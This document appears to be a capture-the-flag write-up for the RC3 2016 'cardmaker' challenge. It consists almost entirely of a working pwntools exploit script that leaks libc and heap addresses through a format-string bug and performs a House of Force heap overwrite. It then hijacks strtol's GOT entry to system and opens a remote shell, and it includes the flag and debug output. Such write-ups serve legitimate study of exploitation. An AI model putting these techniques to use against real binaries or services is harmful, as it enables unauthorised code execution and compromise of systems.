Rating:

from pwn import *

# RC3-2016-YOUZAH-REEL-JEDI-MASTA-NAU-LEWK

try:
import requests
dst_ip = requests.get('http://ipinfo.io').json()['ip']
except:
dst_ip = '127.0.0.1'

print 'IP = %s' % dst_ip

binary = ELF('cardmaker')
libc_binary = ELF('libc-2.23.so')

def menu(x):
"""
1. New greeting card
2. List greeting cards to be sent
3. Change the contents of a card
4. Delete a greeting card in the queue
5. Send all greeting cards in the queue
6. Quit
"""
io.recvuntil('Choice: ')
io.sendline(str(x))

def add(size, content, border='#', dst_port=5566):
menu(1)
io.recvuntil('from?')
io.sendline('a')
io.recvuntil('to?')
io.sendline('b')
io.recvuntil('to?')
io.sendline('%s:%s' % (dst_ip, dst_port))
io.recvuntil('card?')
io.sendline(border)
io.recvuntil('How long is your message...?')
s = str(size)
if size < 0: # strtol will skip non-numeric characters
s = ' ' + s
io.sendline(s)
io.recvuntil('end with ')
if content:
io.sendline(content)
io.sendline('done.')

sock = listen()

io = remote('cardmaker.ctf.rc3.club', 9887)

add(15, 'zz', '%p', dst_port=sock.lport)
menu(5) # send card, leak heap and libc addresses

l = sock.wait_for_connection()
libc, heap = l.recvall().split('\n')[-2].split('0x')[4:6]
libc, heap = int(libc, 16), int(heap, 16)

print 'leaked libc addr = 0x%.12x' % libc
print 'leaked heap addr = 0x%.8x' % heap

libc += 0x00007fec75823000 - 0x7fec75be8780
heap += 0x01fc8000 - 0x1fc9050

print 'libc base = 0x%.12x' % libc
print 'heap base = 0x%.8x' % heap

new_heap = heap + 0x0221f090 - 0x0221e000
ptr_top = new_heap + 24
print 'last chunk will be allocated at 0x%.8x' % new_heap

# ref 1: http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400
# ref 2: https://github.com/shellphish/how2heap/blob/master/house_of_force.c

evil_size = binary.got['strtol'] - 16 - ptr_top
print 'evail_size = %x' % evil_size

# overwrite chunk header on top chunk
add(-1, 'A'*24 + '\xff' * 8) # this add actually malloc(24)
add(evil_size - 25, '') # jump to desired address
add(100, p64(libc + libc_binary.symbols['system'])) # GOT hijack

menu('sh') # strtol.GOT hijacked to system
io.interactive()

"""
leaked libc addr = 0x7f615f97b780
leaked heap addr = 0x0221f050
libc base = 0x7f615f5b6000
heap base = 0x0221e000

[0x4017be] malloc(40) = 0x221f020
[0x400daf] malloc(42) = 0x221f050
[0x401208] free(0x221f050) = <void>
[0x4017be] malloc(24) = 0x221f090
"""

Original writeup (https://gist.github.com/Inndy/1a3b312b0388447d3dee14371236abd1).